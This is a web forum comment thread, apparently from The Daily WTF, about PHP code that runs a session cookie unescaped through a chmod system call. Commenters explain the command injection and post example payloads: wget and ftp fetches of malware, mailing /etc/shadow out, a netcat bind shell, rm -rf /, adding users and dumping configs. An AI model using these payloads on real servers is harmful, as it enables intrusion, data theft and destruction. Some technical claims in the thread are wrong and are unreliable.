- Feature Articles
- CodeSOD
- Error'd
-
Forums
-
Other Articles
- Random Article
- Alex's Soapbox
- Announcements
- Best of…
- Best of Email
- Best of the Sidebar
- Bring Your Own Code
- Coded Smorgasbord
- Mandatory Fun Day
- Off Topic
- Representative Line
- News Roundup
- Editor's Soapbox
- Software on the Rocks
- Souvenir Potpourri
- Sponsor Post
- Tales from the Interview
- The Daily WTF: Live
- Virtudyne
Admin
He's right. The reason is to expose incompetents so they can be dealt with.
Admin
First request: $_COOKIE["$sessionid"] = "; wget http://myserv.com/evil.sh"; Subsequent request: $_COOKIE["$sessionid"] = "evil.sh; ./evil.sh";
Admin
to write into the cookie (have to check the cookie name (usualy PHPSESSID) before by doing a request) :
$ curl --cookie "phpsessid= ~ ; whatevercommandyouwanttodo" http://wtf.server.this.script.is.installed.on
Admin
fixed.
Admin
On the plus side it'll stop deleting after it did rm /bin/rm.....
Admin
Or something more sinister like:
$_COOKIE["$sessionid"] = " .; nc -l -p 8080 -e /bin/bash"
Admin
There's a high chance that the contents of the cookies are verbatim what's being sent by the browser. So changing $_COOKIE["$sessionid"] should be as simple as tampering with your browser's cookies, which is dead simple.
Admin
Okay it does more than change permissions since it doesn't appear to validate the data or use escapeshellarg or similar to prevent arbitrary code execution. I'm not sure what restrictions systems place on cookie sessionid but I wouldn't rely on it since environments change.
The attacker probably doesn't know there is such code running at first, but exposure of code is a common weakness in which case the attack escalates. Also if for example they hadn't disabled errors in the PHP config, the attacker might guess cookie information was being used in a system call from the errors created by trying mangled cookie names (this is the kind of thing attackers do. Even just random mangling of inputs to the web request sent is a fairly standard attack when more usual methods fail. Just mangle it and see what errors follow is a way of finding if validation is working, or if you can provoke unexpected error messages.
I think the jaw dropping thing is that it exists at all, e.g. why on earth fiddle with sessionid or cookie files in the first place. That is it done badly is little surprise after finding it is done at all.
Admin
Well, really the attacker has to gain some other kind of access to the system for this to be of use, but once they do, this can be used for privilege escalation.
You don't need to rewrite the HTML or Javascript to take advantage of this. Just edit your cookies or send a custom HTTP request with a custom header to the server in question.
Definitely a gigantic WTF.
Admin
Oh, hell, scratch that. It's bloody doing chmod on the shell and taking unescaped input. Brilliant.
Admin
This is the featured comment?
This is executing the raw text of a cookie as a shell command and possibly as root...
All I have to do is perform an HTTP request for this page with a nefarious cookie in it.
Assuming that $sessionid = "php123456" (which you could probably guess at by looking at the other cookies in your browser) you just have to pass a header that says Cookie: php123456=.;rm -rf /
See the semicolon? That will terminate the chmod command. Then you're on your way to borking someone's server.
Admin
Root access? Dream on ... :)
In case of a properly configured web server (running unprivileged) and non-world-writable file permissions, a "chmod 0777 <whatever>" command would simply fail and won't cause any harm at all.
It gets a little bit more interesting in a shared hosting environments, where most security conscious platforms tend to run untrustworthy (user) code with user privileges. So the exploitable code someone uploads would eventually impact just his own files, not the server or other users.
Admin
A 'cookie' is just a plain header. You could fake it with telnet if you'd like to. Lots of tools out there allow you to create a request with cookies of your choice, for testing purposes (I'm sure I could do that with curl for example, maybe wget as well).
It boils down to a single line in the HTTP headers, which look like (from the top of my head)
GET / HTTP 1.1 Host www.example.com Set-Cookie CrapHere
(extra newline should 'commit' the request)
Admin
Sites not set to a maximum width in the 800-960 range with screen widths these days. I shouldn't have to employ perspective correction to scan a line of text from the left margin to the right.
Admin
Considering that most of the "devs" on this site exhibit reading fail on the very comments of this site, I don't think we're going to get them to rtfm for best security practices.
-R
Admin
You can play Counter Strike with command line?
I am very fast using mouse shortcuts, because i am gamer and coder, then i am very fast using keyboard with one hand. its called fapper mode. no need to wast time picking mouse.
But when coding, no need for mouse. and in web dev, i dont use designer, just freak control everything and you will be ok. aspnet designer is a bit of crap, but only noobs use it.
Admin
Oh, and it could get even worse than that. Should the server process have enough credentials, you could probably do this:
$_COOKIE["$sessionid"] = "/tmp ; mail -s 'Lots of passwords' [email protected] < /etc/shadow";
system("chmod 777 " . $_COOKIE["$sessionid"]);
And various other horrendous things. File permissions are just the start. You could do anything with whatever credentials the server process has.
Admin
You can easily forge the cookies in the browser, if you know the session id (which in php, you do, it's in another cookie), you just sent a header that sets the cookie to / ... no system access required.
Admin
How else do they let you change the terms of the license agreement at your whim? Or, for that matter, anyone who hacks into your system's whim?
Also, I feel the need to point out, installers that deposit world-readable files are very useful, for quickly identifying software packages that were written by people who have no concept of security, so are rife with security holes. I've found no other metric that can identify them so quickly, with no false-positives seen to date, after over 15 years in the industry. I've had a few instances that seemed like a false positive at the time, for example, adobe reader. But those only appeared to be because I wasn't given sufficient resources to really test them.
Personally, though, I'd have preferred if management had simply let me ditch them on the spot, like I'd requested.
It works just fine on my work Windows PC. I don't know what your problem is. And, discounting embedded systems, which may not even have a filesystem, what other current OSes are there? MacOS is *NIX now (has been for over a decade) and VMS and BeOS are dead. So are a lot of other non-*NIX OSes I don't care to mention.
Admin
I finally see WTWTF is: they're not using PHP's own chmod() function.
Admin
You may think you're being funny, but that wouldn't have nearly the code injection issues. Yeah, it'd still be problematic, because you could change the permission of any file on the system to which the web server had owner access or better. It's also still changing the permissions to something that should be a red flag to everyone. But it'd be much more difficult to leverage unvalidated input to the PHP built-in chmod function to install a rootkit.
Admin
I'm curious as to why you'd be running your web server with enough power to do something like "chmod 777 /" in the first place :-)
Admin
What the attacker can do is nothing really to do with permissions. Unless php/httpd running as root chmod 777 / wont work. The problem is that you can execute anything you want.
Admin
Cookies exist in free-text form on the client side. You only have to change the content of a text file for permanent cookies to change the value. For session cookies you need to inject javascript that change the value or create a fake request. The latter is very easy to do.
Admin
Just setting the sessionid cookie to '/' won't do much harm (even with '-R /', much depends on the process owner of the httpd/whatever process).
The real harm is that you can use semi-colons to execute multiple commands:
$sessionId='/tmp/whatever; cp /etc/passwd /var/www/...; sendsomespam; whatever'
Admin
Admin
Actually, "/" wouldn't work here. This would only allow to create some new (ignored by everyone) subdirs and files, not to modify existing ones. The only possible use would be to jam the filesystem by exhausting the drive space.
However, "-R /" would do the trick. "-R" stands for for Recursive, meaning the change applies not only to the root directory itself, but also for all subdirs, their subdirs and all files in the entire system tree.
Admin
All you have to do is get a '; [shell command here]" in that sessionId and you've now got "chmod 777 stuff; shell command here]"
Admin
I am not sure how system() behaves in the specific language/OS.
Anyhow, the above is also vulnerable to the chmod 777 some_file; rm -rf / .. :)
(rm -rf deletes stuff in linux without prompting)
Admin
Or imagine the following cookie:
" . ; rm -fr /"
any system call that can be parameterized by a user is a major disaster waiting to happen.
Admin
It's not a recursive chmod, so at best it would set / to 777. Hardly a system breaker.
Admin
Frequently you can edit the set cookies directly from the browser.
Admin
Show me how! I wud like to see this.
Admin
This is a classic shell injection problem. It's bad enough that we can chmod 777 anything we like, but why don't we:
/; rm -rf /
or how about
/; mail [email protected] < /etc/shadow
or why not
/; wget http://attacker.com/malware.bin; chmod 777 malware.bin ; ./malware.bin
We can run any shell command on the server this way without even having access to anything but the web application before.
Admin
The cookie is sent via your browser over http. You can send whatever cookies you want.
Admin
Effectively this was a cookie - command injection that opened up someone's entire file system"
Surely only if the relevant process runs as root. Otherwise, you have access only to the files accessible to the permissions of the database server/webserver/whatever this was. Still serious, but not quite root access (at least, without more work.)
Admin
Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.
Also, depending on what kind of character filtering goes on with cookies by default (I'm not a web developer, I don't know), you could devise a cookie with "dummyfile ; arbitrary_command", and, assuming the default system() uses the bash shell, you can run any arbitrary command with the same permissions as the process which uses this code.
Admin
Something like this should remove everything PHP has write access to.
Admin
@Machty- yeah, you'd probably either modify the cookie on your system, or spoof a cookie return value in your HTTP header. From my limited exposure, I'd say both are pretty easy to do using common freeware dev tools. However, without seeing the code base, I can't see how you'd ever consider it as an attack vector.
Admin
You can easily change the cookie on your side (browser/script). And if you set it to "; rm -rf /" or that like, you can cause quite some fun. - So I believe there's a very easy "shell" injection.
Admin
Blah, I saw only the 1st comment and thought that's all there is. Oh well...
Admin
How about modifying the cookie to look more like:
/; echo ftp -get ftp://hackers.rule.com/pownServer /ps; ps&;
This basically allows any command at all to be executed on the remote server with the slight annoyance that you have to run a chmod first each time. An inconvenience that a hacker would be willing to accept.
Admin
Yes, now you need to login to the server too...
Admin
Unless this 'linux' system has the web server running as root (duh), the "user" would never gain access to every single file. Only from the root path of the web server itself, e.g. "var/www/", but never /etc/passwd or similar.
Admin
javascript:void(document.cookie="PHPSESSID=.htpasswd");
Just for an example, as it is likely that the default name for it was never changed ;) If it was, you can still look up your cookies for that (javascript:alert(document.cookie);)
Admin
Browsers send cookies to the server, which are supposed to be hashes that uniquely identify the browser to the server. The server is supposed to use that hash to pull session-specific data that it stores, such as the items in your cart.
In this case, you could arbitrarily inject whatever data into the cookie you wanted. Such that:
$_COOKIE["$sessionid"] = "/; useradd -D --shell /bin/bash -p easypassword;";
system("chmod 777 " . $_COOKIE["$sessionid"]);
Which creates a new user after giving full permissions to all users on the filesystem. Pretty much a root user. I'm sure you could add onto that to ensure ssh access to fully compromise a machine.
Admin
I think you'd need a -R in there to do what you're describing, but it's still bad. You could one at a time enable rwx for everyone on various files.
Admin
To inject a cookie, all you need is a browser or command-line tools that lets the user specify a different value. Not sure about the browser, but I guess a quick search in the Firefox add-ons repository will quickly turn up something. For the command line, wget has an option to do exactly that; it's there for testing websites and such.
Admin
Not to mention scenarios like:
$_COOKIE["$sessionid"] = "/; cat /var/www/site1/dbconfig.php";
Admin
Well wouldn't this be even worse?:
$_COOKIE["$sessionid"] = "
damn near any Unix command you want to use";Like for example a bit of command line perl to create a simple keystroke logger in the root account.
Or dump the password file to some location in the web server's path as an html file:
$_COOKIE["$sessionid"] = "
cat /etc/passwd > ..../readme.txt";The possibilities are truly endless.
And god help these people if they are running their server as the root account. You can have alot of fun with rsh.